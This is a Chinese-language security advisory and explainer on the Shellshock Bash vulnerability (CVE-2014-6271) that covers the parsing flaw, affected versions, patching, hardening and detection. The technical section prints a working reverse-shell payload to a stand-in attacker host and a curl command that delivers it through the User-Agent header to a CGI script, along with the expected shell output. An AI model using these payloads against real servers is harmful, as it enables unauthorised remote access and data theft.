📖 概述

CVE-2014-6271，昵称 Shellshock（亦称 Bashdoor），是 GNU Bash 外壳中的一个严重远程代码执行（RCE）漏洞。
攻击者可通过精心构造的环境变量（通过 HTTP 头部、DHCP、SSH 等方式）获得对底层服务器的远程 shell 访问权限——通常无需身份验证，且用户交互极少。

🧠 漏洞摘要

⚙️ 技术解析

📨 步骤 1 — 恶意环境变量

攻击者注入一个精心构造的变量（例如在 User-Agent 头部中）：

() { :; }; /bin/bash -i >& /dev/tcp/attacker-ip/4444 0>&1

🧩 步骤 2 — Bash 函数解析缺陷

Bash 错误地将有效载荷视为函数定义加尾部命令。变量导入时，(); 后面的代码会立即执行。

💣 步骤 3 — 远程执行

该命令以 Web 服务器/进程的权限（通常是 root 或 www-data）运行。

结果：

# 获得远程 shell 访问权限
whoami
www-data

✅ 如果操作成功，以下是您将看到的确切内容（逐步）：

1. 在终端中（运行 PoC 后立即显示）

✅ 存在漏洞！（Shellshock RCE 已触发）
vulnerable
test

您还将看到反向连接立即回连。

2. 运行检测命令时

env x='() { :;}; echo vulnerable' bash -c "echo test"

它将立即返回：

vulnerable
test

（这确认 Bash 执行了注入的命令。）

3. 成功的真正证据——在浏览器或 curl 中（这是您知道拥有完全 RCE 的时刻）

对存在漏洞的 Apache CGI 脚本运行此 curl 命令：

curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/YOUR-IP/4444 0>&1" http://vulnerable-server/cgi-bin/test.sh

您将在 netcat 监听器中看到以下确切输出：

bash: no job control in this shell
www-data@server:/var/www$ whoami
www-data
www-data@server:/var/www$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@server:/var/www$ ls -la
total 12
drwxr-xr-x 2 www-data www-data 4096 Sep 24 14:00 .
...

该输出直接出现在您的反向 shell 中。没有错误，没有404。
这意味着您拥有服务器的完全远程代码执行能力——环境变量注入完美生效。

🎯 为何如此危险

• ⚡ 25年零日漏洞（自1989年存在）
• 🌐 攻击面极广（CGI、DHCP、SSH、OpenVPN、CUPS…）
• 🔓 大多数常见向量无需身份验证
• 🧨 完全 RCE 能力
• 📂 潜在的数据泄露和勒索软件入口
• 🔁 在大规模网络中可蠕虫化

📦 受影响版本

所有 GNU Bash 版本：

1.14 至 4.3（补丁级别30之前）

（包括 Linux、macOS、BSD、嵌入式设备）

✅ 已修补版本

请立即升级至：

Bash 4.3 补丁级别30或更高版本（推荐4.4+）

🛡️ 缓解措施

1️⃣ 立即行动

• 在所有系统上更新 Bash：
  root@kitploit:~

  # Ubuntu/Debian
  apt update && apt install --only-upgrade bash
  
  # Red Hat/CentOS
  yum update bash
  

2️⃣ 加固 Web 服务器

• 尽可能禁用 CGI/mod_cgi
• 使用 mod_security 规则拦截 () {
• 限制环境变量传递

3️⃣ 监控日志

查找：

• 包含 () { 的可疑 User-Agent / Referer
• 意外的反向 shell 或出站连接
• Web 服务产生 Bash 子进程

🔍 检测提示

入侵指标可能包括：

• 日志中包含 () { :;};
• Web 服务器用户创建了意外的文件
• 向高端口的出站连接
• Web 服务器派生 /bin/bash -i

🧪 概念性 PoC

恶意头部/DHCP/SSH → Bash 导入环境变量
        ↓
函数定义加尾部命令被执行
        ↓
任意命令 / 反向 shell

📌 相关漏洞

该问题导致了多个后续 CVE（未完全修复）：

• CVE-2014-7169（AfterShock）
• CVE-2014-6277 / CVE-2014-6278
• CVE-2014-7186 / CVE-2014-7187

📊 影响评估

🧩 经验教训

• 永远不要信任环境变量
• shell 中的函数解析必须极其严格
• 核心系统组件中长期存在的漏洞是灾难性的
• 仅打补丁还不够——必须加固攻击面

📚 参考资料

• NVD – CVE-2014-6271
• Wikipedia – Shellshock
• Red Hat 安全博客
• Qualys 技术分析
• CISA 警报 TA14-268A